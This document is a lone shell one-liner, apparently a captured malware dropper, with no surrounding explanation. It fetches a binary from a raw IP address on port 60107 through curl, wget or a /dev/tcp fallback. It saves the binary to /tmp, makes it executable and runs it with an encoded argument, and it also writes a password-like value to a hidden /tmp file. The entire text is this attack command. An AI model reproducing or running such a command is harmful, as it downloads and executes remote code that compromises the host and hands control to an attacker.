nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/dhG3bf7zzW; if [ ! -f /tmp/dhG3bf7zzW ]; then wget http://129.144.180.26:60107/linux -O /tmp/dhG3bf7zzW; fi; if [ ! -f /tmp/dhG3bf7zzW ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/dhG3bf7zzW && chmod +x /tmp/dhG3bf7zzW && /tmp/dhG3bf7zzW b2QMhrhG+3AqMHXyWK+GC34UEnUNg6Fc/WosKnfk[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/dhG3bf7zzW && /tmp/dhG3bf7zzW b2QMhrhG+3AqMHXyWK+GC34UEnUNg6Fc/WosKnfk[...]" &#UPX!